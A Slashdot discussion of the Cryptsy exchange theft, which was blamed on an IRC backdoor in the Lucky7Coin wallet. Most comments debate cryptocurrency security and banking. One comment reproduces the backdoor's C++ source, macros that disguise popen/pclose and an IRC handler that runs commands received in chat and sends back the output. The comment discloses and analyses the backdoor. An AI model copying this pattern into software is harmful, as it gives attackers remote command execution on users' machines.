Slashdot Mirror


Cryptsy Bitcoin Trader Robbed, Blames Backdoor In the Code of a Wallet (softpedia.com)

An anonymous reader writes: Cryptsy, a website for trading Bitcoin, Litecoin, and other smaller crypto-currencies, announced a security incident, accusing the developer of Lucky7Coin of stealing 13,000 Bitcoin and 300,000 Litecoin, which at today's rate stands more than $5.7 million / €5.2 million. Cryptsy says "the developer of Lucky7Coin had placed an IRC backdoor into the code of [a] wallet, which allowed it to act as a sort of a Trojan, or command and control unit." Coincidentally this also explains why two days after the attack was carried out, exactly 300,000 Litecoin were dumped on the BTC-e exchange, driving Litecoin price down from $9.5 to $2.

90 comments

  1. No sympathy here. by Anonymous Coward · · Score: 5, Insightful

    Crypto currencies are like the wild wild west of monetary transactions. Unless you are doing something that requires absolute discretion, it's really not worth the risk.

    1. Re:No sympathy here. by Anonymous Coward · · Score: 0

      Crypto currencies are like the wild wild west of monetary transactions. Unless you are doing something that requires absolute discretion, it's really not worth the risk.

      Stock market crashes. The dot bomb. The global financial meltdown.

      I can't stop laughing at the utter stupidity of this comment, as if we don't have fucking corrupt cowboys in charge of the rest of the financial landscape in use today, and with predictable results.

      If you think any of it is stable, wake the fuck up already.

    2. Re: No sympathy here. by Anonymous Coward · · Score: 0

      Don't expect any sympathy, if you don't wanna use then don't. Just leave the rest of us alone...

    3. Re: No sympathy here. by Anonymous Coward · · Score: 0

      If the real economy was as stable as the crypto economy, we would have a great depression about once a month.

      Meanwhile, to keep people entertained when they aren't losing their money, the entities who control more than 50% of the network extort everyone every time a transaction needs to be processed using a mechanism that was ostensibly introduced to function as a method of controlling congestion.

      You see, the system is so broken (by design) that it can only handle about 5 transactions per second, and, at peak times, transactions can take hours to be processed. However, if you want your transaction to go through faster, you can pay a small fee so that your transaction is given a greater priority.

      You know, kinda like payment processors take about 1% of your money for shifting entries on a database, except that these guys charge about 20%, because they're so friendly.

      I could go on and on, but that would be, you know, too easy.

    4. Re:No sympathy here. by arglebargle_xiv · · Score: 1

      "I want my tulip bulbs back! Waah! Waah!".

    5. Re:No sympathy here. by fuzzyfuzzyfungus · · Score: 1

      For accuracy's sake, it's worth noting that all those things occurred in securities and financial services markets, not currencies.

      We unfortunately have them, so the effects can't be ignored; but it takes an entire industry of obscurantist derivative pushers to produce the amount of chaos these exchanges handle daily.

    6. Re:No sympathy here. by SirSlud · · Score: 2

      All of those things you mentioned are not a currency. When the stock market crashed, or the dot com bubble crashed, or the "global financial meltdown" happened, did the 10 dollars in your pocket turn into 2 dollars?

      --
      "Old man yells at systemd"
    7. Re: No sympathy here. by Anonymous Coward · · Score: 0

      They got owned by a kid with an irc bot.

    8. Re:No sympathy here. by Applehu+Akbar · · Score: 1, Informative

      All of those things you mentioned are not a currency. When the stock market crashed, or the dot com bubble crashed, or the "global financial meltdown" happened, did the 10 dollars in your pocket turn into 2 dollars?

      No, it took Jimmy Carter to do that.

    9. Re:No sympathy here. by DarkOx · · Score: 1

      Yes in a lot of way it do exactly that. All the packages of cereal on the store shelves stayed the same size and so did the price but the content shrank. The price of fuel skyrocketed. All that talk of deflation and stagnation was bullshit. It only looked that way on the bottom line because there was sharp deflation in a particular asset class that happened to make up a large part of the economy. Worked out real well for you if you were looking to buy real-estate, not so well if you were and owner and pretty badly if you were a borrower, paying pre-crash interest rates.

      I am not defending bitcoin but to suggest major currencies even the USD does not have these same problems is a popular fiction. I think its very possible the ONLY THING that makes the dollar less prone to these swings is the large number distinct asset classes traded or exchanged for it. Something like stability in terms of relative value is achieved not by confidence in the USD, or its backing, but by the fact that a major contraction real-estate demand might be offset by strong demand for commodities like grain or oil. So perhaps the total buying power of the house hold remains somewhat anchored even if the specific expenditures swing wildly. Real-estate is probably the largest portion of most peoples expenses or liability. Right now oil and grain are cheap, but rents are way up. We would be in another crisis right now if oil and grain were also up, its no less out-of-whack than the 2007-2010 period its just that we don't fell it as badly beacause real-estate is the bigger part of the pie.

      So bitcoins real problem is there are not enough counter assets that trade it in it. if you could buy, drugs in addition to a house, oil, grain, car, computer, coffee, coffee maker, pork belly and pay your dentist. It would be as stability comparable to the major currencies.

      --
      Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
    10. Re:No sympathy here. by evilviper · · Score: 1

      Carter just inherited the mess. Nixon was the one to blame:

      https://en.wikipedia.org/wiki/...

      --
      Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
    11. Re:No sympathy here. by hey! · · Score: 1

      I don't feel any sympathy either, but your and my feelings aren't what's important here. We're still talking about a theft and on general principles I think the people who did it ought to be caught and punished.

      --
      Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
    12. Re:No sympathy here. by Anonymous Coward · · Score: 0

      "Unless you are doing something that requires absolute discretion" - I'm not sure you would want to use a cryptocurrency like Bitcoin for "discretion". It uses a ledger system that will broadcast the details of your transaction, and that ledger will follow every dollar spent out of that "stolen" stash. That was what helped close Silk Road. Governmental claims of the money being used "by criminals because it is untraceable" is so vitriolic that I am beginning to wonder if it isn't being used as a honeypot.

  2. HA HA by NotQuiteReal · · Score: 2

    (voice of Nelson)

    --
    This issue is a bit more complicated than you think.
    1. Re:HA HA by Anonymous Coward · · Score: 0

      Meanwhile.... 2.39% of my "realcoin" disappeared on Wall Street today...

    2. Re:HA HA by Anonymous Coward · · Score: 0

      Meanwhile.... Bitcoin lost 12% since yesterday, even with chinese exchanges experiencing intermittent "technical difficulties" which totally weren't them trying to slow down panic selling.

    3. Re:HA HA by murdocj · · Score: 2

      was it teleported out via a backdoor in the broker software? Or do you still own those shares and will the value come back as the market rises?

    4. Re:HA HA by Anonymous Coward · · Score: 0

      Meanwhile.... 2.39% of my "realcoin" disappeared on Wall Street today...

      Don't know how that works do you?
      I didn't lose anything because I'm still up from when I bought.

    5. Re:HA HA by SirSlud · · Score: 1

      So put them into some kind of altcoin. I hear that's a really good place to put your money these days.

      --
      "Old man yells at systemd"
    6. Re:HA HA by CaptainDork · · Score: 1

      No one loses jack shit until they sell. Those who are automatically buying are going to make out like bandits.

      --
      It little behooves the best of us to comment on the rest of us.
    7. Re:HA HA by zippthorne · · Score: 1

      Actually, it's the other way around. The value of cash relative to "the market" increased today.

      --
      Can you be Even More Awesome?!
    8. Re:HA HA by Anonymous Coward · · Score: 0

      Slashdot really needs upvote arrows, so we can all upvote this comment and laugh at the OP for being a moron.

    9. Re:HA HA by Aighearach · · Score: 1

      No, they buy high and sell low whenever the TV tells them to be interested, or afraid.

    10. Re:HA HA by Anonymous Coward · · Score: 0

      No one loses jack shit until they sell. Those who are automatically buying are going to make out like bandits.

      Well, what I lost was points due to my wife telling me in December that there was going to be a huge sell-off in January.
      She says, you should dump stocks now and buy back in after it's over.
      I said yeah maybe, but I doubt it'll be bad so I'll ride it out.
      In my favor, she has been right (over the last 40 years) only 99% of the time.

  3. And that's why... by Anonymous Coward · · Score: 0

    "Coins" will never be a legit currency.

  4. Not a surprise by Anonymous Coward · · Score: 0

    Just another reason not to use shitcoin. Even if it wasn't an inside job they pulled themselves, nobody else will get their money back.

  5. Found a Trojan in the wallet? by DesertNomad · · Score: 5, Funny

    Must be a slow news day...

    1. Re:Found a Trojan in the wallet? by Anonymous Coward · · Score: 0

      No, no, the news is that it's a backdoor Trojan.

    2. Re:Found a Trojan in the wallet? by Aighearach · · Score: 1

      No, no, the news is that it's a backdoor Trojan.

      You're a decade late on anybody caring, though.

      The internet is saving the world, through pr0n.

  6. picante on my screen by turkeydance · · Score: 0

    not to mention my keyboard

  7. Summary is a lot of spin also... by thesupraman · · Score: 2

    Well, as the current Litecoin value is around $3, I dont think you can exactly blame that for dropping it from $9.50... Especially as this was 6 months ago.
    The $9.50 spike that lasted a couple of days was highly unusual, and even then the $9.50 value was only ever sellers wet dreams, $8 was more like, and the spike lasted days, and never got down to $2. Any more BS we want to throw into the summary?

    1. Re:Summary is a lot of spin also... by Anonymous Coward · · Score: 0

      The summary is taken from the news story, which links to an article on IBTimes dated just days after it happened. So I would say it's more correct than a guy's thoughts on SlashDot. Wouldn't you?

  8. Over and over by JustAnotherOldGuy · · Score: 4, Insightful

    This is going to happen over and over and over and over and over. It'll be a looooooooong time, if ever, before virtual currencies are protected in any meaningful way against this sort of thing.

    Look at it this way: there are maybe a half-dozen people running a something-coin exchange, but there are essentially a limitless number of bad guys out there who, from the safety of their basements, can spend all the time in the world thinking up ways to crack your system. Sooner or later one of them s going to do it, and *boom*, away go the something-coins. And that's assuming that the something-coin exchange guys aren't themselves in on it or playing along. Or "go bad" later. Or get extorted, or find themselves in a jam and need some money ASAP. The attack surface is, in a word, enormous.

    Yes, real banks get robbed, but that takes some real time and effort and most of the time the robbers get caught. In contrast, the risk-to-reward ratio for virtual currency is so unbalanced that it's a natural target with minimal risks. No bullets flying around, no get-away cars, no bank guards, no logistics about hauling the cash away, no dye-packets to worry about. It's like a crime made in heaven.

    I don't have the answers (if there really are any) but you don't have to be a rocket scientist to see the problems inherent in virtual currencies. All of the people who lost money in this will, in all likelihood, never get a dime back. And worse yet, even the people who didn't lose money directly still take a hit when the currency undergoes devaluation because of the robbery. It seems like there are a LOT of risks and not many rewards.

    I find the idea of virtual currencies interesting, but not mature or safe enough to put "real" money into any of them. Maybe someday, but not today...

    --
    Just cruising through this digital world at 33 1/3 rpm...
    1. Re:Over and over by Zontar+The+Mindless · · Score: 1

      I just know that I keep wanting to read the title as "Crappy Bitcoin Trader...".

      --
      Il n'y a pas de Planet B.
    2. Re:Over and over by clovis · · Score: 1

      What you said + and

      Yes, real banks get robbed,

      And real commercial banks don't debit the depositors for the money that was taken.

    3. Re: Over and over by Anonymous Coward · · Score: 0

      That's why you NEVER keep your money on the exchange. If your too stupid to leave it there, then you should not be in crypto anyway. I hope to dear god politicians stop trying to stick their nose into the whole crypto scene.

    4. Re:Over and over by fustakrakich · · Score: 0

      And real commercial banks don't debit the depositors for the money that was taken.

      In Cyprus they did, and in Europe they will. Like the flu, it will hit these shores soon.

      --
      “He’s not deformed, he’s just drunk!”
    5. Re:Over and over by CaptainDork · · Score: 1

      This, precisely.

      We are all here statisticians.

      Look at the population sizes and probabilities of the demographics.

      As JustAnotherOldGuy points out, there are a few cyber coin exchanges and a shit load of headcount that would like to grab some play dough.

      Given the small number of players inside the exchange perimeters as compared to the billions who are on the outside, trying to get in, and given that ALL players have the same goddam hardware and software and mental capabilities, the odds are that many people outside the exchange inner circle are very much more savvy than the people guarding the gates of the exchanges.

      Hunnert dollas to a hole in a donut says the exchange took advantage of recent "GOVERNMENTS DEMAND BACKDOORS" to cash out and blame it on the backdoor buzzword of the day.

      Early adopters of Internet shit are batshit crazy.

      --
      It little behooves the best of us to comment on the rest of us.
    6. Re:Over and over by Kjella · · Score: 1

      Yes, real banks get robbed, but that takes some real time and effort and most of the time the robbers get caught. In contrast, the risk-to-reward ratio for virtual currency is so unbalanced that it's a natural target with minimal risks. No bullets flying around, no get-away cars, no bank guards, no logistics about hauling the cash away, no dye-packets to worry about. It's like a crime made in heaven.

      At least here in Norway real world bank robberies are extremely rare, mainly because the traditional banks barely have money anymore. Most of them simply have an indoor ATM and that's all the cash they have. Apart from all that goes electronic, most the cash come from ATMs/withdrawals in stores, the stores collect it and it goes via armored cars to a few teller centrals before it's distributed to ATMs again. We had one such robbery 12 years ago where they got away with the equivalent of ~10 million USD, though all 13 involved were caught and convicted but in the grand scheme of things it's negligible. The banks themselves have become more investment/financing advisers, barely involved in the actual cash flow.

      So their scams are much like our scams, trying to get virtually money in an account or sent to a different bank so they can withdraw it "legally". For the most part though they've stuck to hacking the client side and taking control over individual accounts, not the server side. Or at least that they care to tell us about, since it's not our money getting stolen I suppose they don't have much reason to tell us about it happening.

      --
      Live today, because you never know what tomorrow brings
    7. Re:Over and over by dinfinity · · Score: 1

      No bullets flying around, no get-away cars, no bank guards, no logistics about hauling the cash away, no dye-packets to worry about. It's like a crime made in heaven.

      I don't have the answers (if there really are any) but you don't have to be a rocket scientist to see the problems inherent in virtual currencies.

      You do realize that normal banks also have websites, right? And that the money in your bank account isn't actually comprised of bills sitting in a locker?
      Bank 'robberies' nowadays happen in a very different way than they used to, but they still happen. The thing with normal banks is that they are enormous institutions with huge budgets for security (for obvious reasons).

      "Look at it this way: there are maybe a half-dozen banks in your country, but there are essentially a limitless number of bad guys out there who, from the safety of their basements, can spend all the time in the world thinking up ways to crack your system."

      Works exactly the same. I'm not saying Bitcoin (etc) does not have inherent problems, but the lack of dependable professional exchanges/centralized storage facilities is not an inherent one.

    8. Re:Over and over by Anonymous Coward · · Score: 0

      And real commercial banks don't debit the depositors for the money that was taken.

      Should read, "And real commercial banks take taxpayer money to cover what was taken. Thus they are TOO BIG TO FAIL!"

    9. Re:Over and over by JustAnotherOldGuy · · Score: 1

      You do realize that normal banks also have websites, right? And that the money in your bank account isn't actually comprised of bills sitting in a locker?
      Bank 'robberies' nowadays happen in a very different way than they used to, but they still happen.

      You do realize that the money in my account is backed by the institution, right? And you do realize that the institution or the FDIC or the government will replace my money if it's stolen?

      And you do realize that the people who just lost their ass in the latest bitcoin robbery are shit out of luck, unlike me, right? And you do realize that the people who just got screwed in the latest bitcoin robbery will almost certainly never get a dime back, right, because according to the article itself, no one will even investigate the robbery?

      Works exactly the same. I'm not saying Bitcoin (etc) does not have inherent problems, but the lack of dependable professional exchanges/centralized storage facilities is not an inherent one.

      Works exactly the same? Maybe in your world, and maybe for very, very small values of "same", but if you really believe that then you should be putting all your cash into bitcoins, because it's "exactly the same" as having your money in a real bank. Right?

      Let's be brutally honest: the risks with virtual currency are many and varied, and no one has a clue how to mitigate them, at least not yet. Maybe someday, but not today and not tomorrow. And not the day after that, either.

      Virtual currencies do have inherent problems and to deny that is to deny reality. Real, physical currency has inherent problems, why the hell would a virtual currency not have problems too? They may be different problems but I think as we have just seen, they exist.

      --
      Just cruising through this digital world at 33 1/3 rpm...
    10. Re:Over and over by dinfinity · · Score: 1

      You do realize that the money in my account is backed by the institution, right? And you do realize that the institution or the FDIC or the government will replace my money if it's stolen?

      Yes, I do, but it is irrelevant to the point I was making. You painted a very outdated picture of bank robberies with 'bullets flying around' and I corrected you (in a needlessly snarky way, admittedly). The idea that banks can only be 'robbed' physically is simply wrong.

      Works exactly the same?

      Yes. I was pointing out your flawed logic, not stating that normal currencies and bitcoin-like currencies work exactly the same.
      The notion that bitcoin-like currencies are different because the good guy (exchange) providers to bad guy hackers-ratio is low is nonsense. Again: exactly the same holds for normal currencies.

      Virtual currencies do have inherent problems and to deny that is to deny reality

      I said:

      I'm not saying Bitcoin (etc) does not have inherent problems

      But perhaps you weren't responding to what I said anymore. I don't know.

      Anyway, when talking about inherent problems, you need to imagine a situation in which normal banks start providing Bitcoin exchanges and accounts, and governments approaching Bitcoin like a normal currency. In such a situation Bitcoin would still have inherent problems, but none of the issues you've mentioned.

    11. Re:Over and over by JustAnotherOldGuy · · Score: 1

      Yes, I do, but it is irrelevant to the point I was making. You painted a very outdated picture of bank robberies with 'bullets flying around' and I corrected you (in a needlessly snarky way, admittedly). The idea that banks can only be 'robbed' physically is simply wrong.

      I never said that they can only be robbed physically, even though it still is the most popular method.

      The difference is that regardless of how the bank is robbed, I'll still get my money back. Whether it's with a gun or a trojan, I'll still get my money back. The same can't be said for x-coins. Look at Mt. Gox, Inputs.io, Sheep Marketplace, Silk Road, etc etc....none of the victims, to my knowledge, ever recovered a dime of the ~$180 million stolen.

      Virtual currencies do have some serious, unavoidable problems inherent in their very nature and until the mechanisms securing and insuring them mature, it's going to be a free for all with a lot of risk and almost no assurance of safety.

      --
      Just cruising through this digital world at 33 1/3 rpm...
    12. Re:Over and over by Aighearach · · Score: 1

      And real commercial banks don't debit the depositors for the money that was taken.

      In Cyprus they did, and in Europe they will. Like the flu, it will hit these shores soon.

      No, you're confusing the hyperbole with the facts. They're not interchangeable.

    13. Re:Over and over by Anonymous Coward · · Score: 0

      And real commercial banks don't debit the depositors for the money that was taken.

      Should read, "And real commercial banks take taxpayer money to cover what was taken. Thus they are TOO BIG TO FAIL!"

      Sounds good to me. Speaking as a depositor, that beats the heck out of me losing any of my money.

      Suppose a modern bank loses an amount that is enough to threaten its solvency
      Here are the actual real options.
      option 1) take the money from the depositors
      option 2) take the money from the banks owners
      option 3) the Federal Reserve makes up the difference by printing some more money.
      option 4) the government hands over some taxpayer money

      option 1 sucks for us, the depositors, because in no way was it our fault.
      option 2 will never happen, even if you close your eyes and wish really really hard.
      option 3 is what usually happens now a days. this is why the Fed was created in the first place.
      option 4 is what happens if most or all the banks are in trouble. If they didn't, everyone loses everything, except for the top the option 2 people

      I like options 3 and 4

    14. Re:Over and over by dinfinity · · Score: 1

      I never said that they can only be robbed physically, even though it still is the most popular method.

      It is not:
      http://abcnews.go.com/Business...
      https://www.fbi.gov/stats-serv...
      http://www.informationweek.com...? (note that the stats are from 2006)

      . Also, you said this:

      Yes, real banks get robbed, but that takes some real time and effort and most of the time the robbers get caught. In contrast, the risk-to-reward ratio for virtual currency is so unbalanced that it's a natural target with minimal risks. No bullets flying around, no get-away cars, no bank guards, no logistics about hauling the cash away, no dye-packets to worry about. It's like a crime made in heaven.

      Note how you the contrast you present completely focuses on the physical nature. Had you have said that banks have better digital security than some crappy Bitcoin-exchange there would have been no issue. To say that you didn't imply that the 'real time and effort' had to do with 'bullets flying around, get-away cars, bank guards, hauling the cash away, dye-packets' is simply disingenuous.

      The difference is that regardless of how the bank is robbed, I'll still get my money back.

      This is still irrelevant to this thread, as I pointed out before.

      Virtual currencies do have some serious, unavoidable problems inherent

      Nobody in this thread has said otherwise (although the 'unavoidable' part of it is debatable). You don't seem to be very good at discussing. You shouldn't just randomly insert new subtopics and pretend they are a reply to what the other party said.

    15. Re:Over and over by JustAnotherOldGuy · · Score: 1

      The difference is that regardless of how the bank is robbed, I'll still get my money back.

      This is still irrelevant to this thread, as I pointed out before.

      Lol, hardly....that's what this whole thread is about. You put your money in a bank and it's relatively safe, even if it gets robbed.

      If you put your money in bitCoin, dogeCoin, dinfinityCoin, whateverCoin, and if it's ripped off, it's gone. That's pretty much what I started out saying.

      Also, the stats you provided don't show shit:

      1) One is a "look back" at "great bank robbers in history" (completely irrelevant),
      2) The 2nd are FBI stats that ALSO don't show shit in terms of physical vs. electronic robbery,
      3) and the 3rd is an article on the rise of script kiddies, "Hackers no longer need to be technical wizards to set up an operation to steal people's banking information", which says not a fucking thing about robbing banks. The article is actually all about stealing from the bank's customers.

      Next time maybe you could check that your stats actually mean something instead of just shitting up the first 3 results from Google.

      Thanks for playing, next time try paying attention to the subject at hand.

      --
      Just cruising through this digital world at 33 1/3 rpm...
    16. Re:Over and over by dinfinity · · Score: 1

      that's what this whole thread is about

      It's not. The whole 'bullets flying' and 'limitless number of bad guys' bullshit came out of your keyboard, not mine. Don't pretend that didn't happen.

      If you put your money in bitCoin, dogeCoin, dinfinityCoin, whateverCoin, and if it's ripped off, it's gone. That's pretty much what I started out saying.

      Again, nobody is saying otherwise or has said otherwise in this thread. Stop repeating irrelevant truths. It's just noise in this thread.

      The article is actually all about stealing from the bank's customers.

      Yes, that is what electronic bank robberies always amount to, be they of Bitcoin or of traditional currency. Only counting people stealing assets from the corporations themselves at this point would be stupid, as there is no meaningful equivalent in Bitcoin-land.
      Electronic money is weird.

      Also, the stats you provided don't show shit

      Yes, they do, given the above.
      (1) gives a clear and quantified indication of how physical bank robberies are becoming less common.
      (2) gives exact, authoritative and up to date statistics on (attempts at) physical bank robberies.
      (3) gives exact statistics on (attempts at) electronic bank robberies.

      Your big takeaway (hadn't you've been so obtuse) could have been that attempts at electronic bank robberies are a magnitude more common than physical bank robberies.

      It becomes really hard to stick by this comment, given the stats:
      "I never said that they can only be robbed physically, even though it still is the most popular method."
      Unless you have stats to prove otherwise, I conclude that you were wrong in saying the above.

      Note also that the quoted average amount of money stolen in a physical bank robbery is $4000. The money they lose due to electronic robberies is a much bigger problem than what is pretty much a rounding error for them.

    17. Re:Over and over by JustAnotherOldGuy · · Score: 1

      It's not. The whole 'bullets flying' and 'limitless number of bad guys' bullshit came out of your keyboard, not mine. Don't pretend that didn't happen.

      Lol, found the BitCoin fundy.

      Sorry, but it all boils down to this (which is what I said at the very beginning): something-coin stuff is still waaaaaay to immature and uncertain to have any credibility in the larger marketplace. But go ahead and feel free to trust "Slick Jimmy's BitCoins Savings and Loan and Stuff" if you like. :)

      Even Mike Hearn, one of Bitcoins lead developers, has now quit and says, "Despite knowing that bitcoin could fail all along, the now inescapable conclusion that it has failed still saddens me greatly".

      He continues, "What was meant to be a new, decentralized form of money that lacked 'systemically important institutions' and 'too big to fail' has become something even worse: a system completely controlled by just a handful of people."

      The problems are inherent and at this time there is no solution. Maybe there will be someday, but it ain't gonna be today, or tomorrow, or the day after that.

      So yeah, I think I'll listen to him, since he probably knows more about it by an order of magnitude than both of us combined.

      --
      Just cruising through this digital world at 33 1/3 rpm...
    18. Re:Over and over by golgotha007 · · Score: 1

      >> I find the idea of virtual currencies interesting, but not mature or safe enough to put "real" money into any of them. Maybe someday, but not today...

      Something tells me that you don't know anything about multisig wallets...
      If people would stop trusting 3rd parties to hold their bitcoins for them, then problems like the one at Cryptsy would stop.

    19. Re:Over and over by JustAnotherOldGuy · · Score: 1

      Something tells me that you don't know anything about multisig wallets...
      If people would stop trusting 3rd parties to hold their bitcoins for them, then problems like the one at Cryptsy would stop.

      Are you willing to go on record right now and state categorically that using multisig wallets will absolutely prevent your coins from being stolen, or that there is no way to hack, spoof, or otherwise get around the safety a multisig wallet provides?

      I thought not.

      --
      Just cruising through this digital world at 33 1/3 rpm...
    20. Re:Over and over by dinfinity · · Score: 1

      You lack the ability to stay on topic and the fortitude to admit when you are wrong. Good day.

  9. Huh? by penguinoid · · Score: 1

    Blames Backdoor In the Code of a Wallet

    Or maybe it was bad security.

    --
    Don't waste your vote! Vote for whoever you want, unless you live in a swing state it won't matter anyways
    1. Re:Huh? by gstoddart · · Score: 2

      It's been bad security for months.

      Why people expect a robust, mature, and functioning degree of security in something which is brand new, and essentially the wild west is beyond me.

      How many huge bitcoin thefts have there been? And just why would we think something which has value isn't going to be the target of theft?

      These are lessons the banking industry has learned over decades, and taken steps to prevent.

      But suddenly someone invents crypto currency and they act all surprise to get ripped off ... and then they all stand around wondering why the magical unicorns which were supposed to make these things perfect don't really exist.

      Why the fuck do people keep believing that some wallet or exchange which came into existence a few months ago is secure? There's no regulations, and not nearly enough history of having to get it right to have any faith in that.

      This is "unexpected" in no way that I can tell. In fact, it's entirely what people have predicted.

      Whatever. Let's stop pretending this is surprising to anybody. These are inherent flaws in the platform, and pretending otherwise is just sad.

      --
      Lost at C:>. Found at C.
    2. Re:Huh? by Anonymous Coward · · Score: 0

      I'd expect that a trader like Cryptsy would run each wallet in a sandbox, so that if the reference implementation of a wallet has a backdoor, then only that particular cryptocurrency would get affected. So yes, the theft of Bitcoins and Litecoins due to a backdoor in Lucky7Coin is "unexpected".

    3. Re:Huh? by golgotha007 · · Score: 1

      >> Why the fuck do people keep believing that some wallet or exchange which came into existence a few months ago is secure?

      The good news is, you don't need to worry if 3rd party exchanges or wallet providers are secure or not. Try using a multisig wallet (like at BitGo) where you hold two of the keys, and the company holds one. It takes two keys to conduct a transaction. If the company is hacked, your bitcoin can't be stolen. It really is that simple. I'm not saying it's impossible, but the risk is much, much lower than if you hand over all your keys to a 3rd party...

  10. What? by U2xhc2hkb3QgU3Vja3M · · Score: 1

    I'm more shocked to learn that Litecoin went as up as $9.50.

  11. Fiduciary duty by Anonymous Coward · · Score: 0

    To report on the status of holdings, and material changes therein.

    They hid this for 1.5yr, and that is likely to have resulted in criminal liability since they surely must have continued to take deposits.

  12. My Gox! by Anonymous Coward · · Score: 0

    Mt. Whatever! Live by the rotting bit, die by the lost coin!

    Yours,
    Major Boobage

  13. WTF by sexconker · · Score: 1

    A wallet is a non-executable data file.
    You can't get a trojan from on.

    Unless you're retarded and use a third party service or program to MANAGE wallets.

  14. known for months by Gravis+Zero · · Score: 5, Informative

    https://github.com/alerj78/luc...

    dooglus commented on Mar 8, 2015

    There's a backdoor in the IRC code that gives the attacker the ability to run arbitrary commands on the victim's host.

    In src/allocators.h we see these macros being defined, in an attempt to hide 'popen' and 'pclose' calls:

    /** Determine system page size in bytes */
    #define S_ORDER(a,b,c,d) b##a##d##c /**
      * OS-dependent memory page locking/unlocking.
      * Defined as policy class to make stubbing for test possible.
      */
    #define CLine S_ORDER(I,F,E,L) /**
      * Singleton class to keep track of locked (ie, non-swappable) memory pages, for use in
      * std::allocator templates.
      */
    #define CRead S_ORDER(p,po,n,e)
    #define CFree S_ORDER(cl,p,e,os) // // Allocator that locks its contents from being paged // out of memory and clears its contents before deletion. //
    #define CBuff "PR" "IV" "M" "SG"

    Then in irc.cpp they are used to implement the backdoor:

    if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
        {
            CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
            if (buf) {
                std::string result = "";
                while (!feof(buf))
                    if (fgets(pszName, sizeof(pszName), buf) != NULL)
                        result += pszName;
                CFree(buf);
                strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
                if (strchr(pszName, '!'))
                    *strchr(pszName, '!') = '\0';
                Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());
            }
        }

    I expect this is a known issue since this kind of thing doesn't happen accidentally.

    --
    Anons need not reply. Questions end with a question mark.
    1. Re:known for months by Anonymous Coward · · Score: 0

      Holy shit, this is beautiful. My question is, why in the hell was this code running on Cryptsy's servers with access to anything remotely useful? Even supposing the backdoor wasn't present, why run something with a freaking ircd on any kind of sensitive environment?

    2. Re:known for months by H0p313ss · · Score: 1

      In a word? Bittards

      --
      XML is a known as a key material required to create SMD: Software of Mass Destruction
    3. Re:known for months by Razed+By+TV · · Score: 2

      Theft happened July 29, 2014, way before that post.

    4. Re:known for months by DNS-and-BIND · · Score: 1

      The real news is: what the heck is an IRC client doing in a bitcoin wallet? Seems the unnecessary result of creeping featuritis.

      --
      Shutting down free speech with violence isn't fighting fascism. It IS fascism!
    5. Re: known for months by Anonymous Coward · · Score: 2, Informative

      Irc was one of the initial means of peer discovery. It has been long since replaced with better mechanisms

    6. Re:known for months by Anonymous Coward · · Score: 0

      This explains a lot, but still, why is the IRC chat hosted on the same system they are storing this virtual currency? If you don't have basic separation like that then these things will happen

    7. Re:known for months by Anonymous Coward · · Score: 0

      The heck. It's even well-documented ;)

      It is funny because it isn't.

    8. Re:known for months by Anonymous Coward · · Score: 0

      The code was in the "wallet" (client software) for a minor cryptocurrency. The cryptsy platform specialises in the trading of minor cryptocurrencies; in order to ensure rapid development of their platform, they use the reference client software for most of their cryptocurrencies.

      In this case, the developer of the currency added the backdoor to the reference implementation of the wallet software. In short, this was a trojan masquerading as an entire cryptocurrency framework!

    9. Re:known for months by squiggleslash · · Score: 1

      Maybe they figured that security in cryptocurrency environment was unnecessary, because in the superior world of cryptocurrencies, unlike those communistic "fiat" currencies, the free market will solve everything...

      --
      You are not alone. This is not normal. None of this is normal.
    10. Re:known for months by Anonymous Coward · · Score: 0

      The real news is: what the heck is an IRC client doing in a bitcoin wallet?

      Really! It sounds like what you'd expect if Lennart Poettering made a crypto currency.

  15. There is no loss if there is no sale by Anonymous Coward · · Score: 0

    Meanwhile.... 2.39% of my "realcoin" disappeared on Wall Street today...

    Unless you mean someone accessed your account and transferred out 2.39% of your fiat then no, you analogy is wrong. Price fluctuation != Coins/Fiat leaving your account. With price fluctuation nothing is lost unless you sell. Without a sale that down 2.39% is trivia, just like the up 2.xx% the day before.

    1. Re:There is no loss if there is no sale by Aighearach · · Score: 1

      Meanwhile.... 2.39% of my "realcoin" disappeared on Wall Street today...

      Unless you mean someone accessed your account and transferred out 2.39% of your fiat then no, you analogy is wrong. Price fluctuation != Coins/Fiat leaving your account. With price fluctuation nothing is lost unless you sell. Without a sale that down 2.39% is trivia, just like the up 2.xx% the day before.

      That is true if it is a pure investment, but not if it is a currency. Are you attempting to agree that cryptocurrency is so awful as currency, that it is not reliably spendable?

      Stocks are not supposed to be liquid assets. Currency is. If you have to wait to spend it in order to not lose money, it is not liquid, and is therefore a complete failure as a currency.

      Stocks are intended as shared ownership of a company, there are real reasons why that is on a different time scale than currency. When I used a financial adviser, I was told not to invest in the stock market unless I was willing to wait at least 8 years to sell and get my money back, because you don't want to sell during a recession. And when approaching retirement, I was advised to plan to shift into more liquid investments not less than 8 years before I would need to access the money.

      If we were talking about cryptobonds it would be a different discussion than it is for cryptocurrency.

  16. Currency, who cares. Its a useful transfer system. by Anonymous Coward · · Score: 0

    And that's why "Coins" will never be a legit currency.

    That's bad news for crypto anarchists but irrelevant to bitcoin users. Bitcoins remain a convenient transfer mechanism, fast, low fee, guaranteed.

    Fiat currency A --> bitcoins --> transfer from user 1 to user 2 --> Fiat currency B.

  17. $9.50 for a minute ... by Anonymous Coward · · Score: 0

    I'm more shocked to learn that Litecoin went as up as $9.50.

    For a minute. What it actually plateaued at for some number of days was $4.50'ish, pre block halving speculation possibly, before it sort of stabilized around $3.00 give or take. Which is what it needed to do, double from $1.50'ish to $3.00'ish, in the block halving so that miners would not lose money, leave, and cause the coin to collapse and fail. Have to give users/speculators enough credit to adjust the price to keep the miners afloat, many currencies can't even manage to do that.

  18. Re:Currency, who cares. Its a useful transfer syst by CaptainDork · · Score: 1

    Fiat currency A --> bitcoins --> wallet --> backdoor --> El Chapo

    --
    It little behooves the best of us to comment on the rest of us.
  19. Re: Who cares? by Anonymous Coward · · Score: 0

    By your logic .. drug dealers use physical cash so therfore cash must only be used by drug dealers and drug users. Any crime involving cash should be ignored as it is just criminals robbing criminals.

    Way more crimes are committed involving paper money. It's also much more difficult to track.
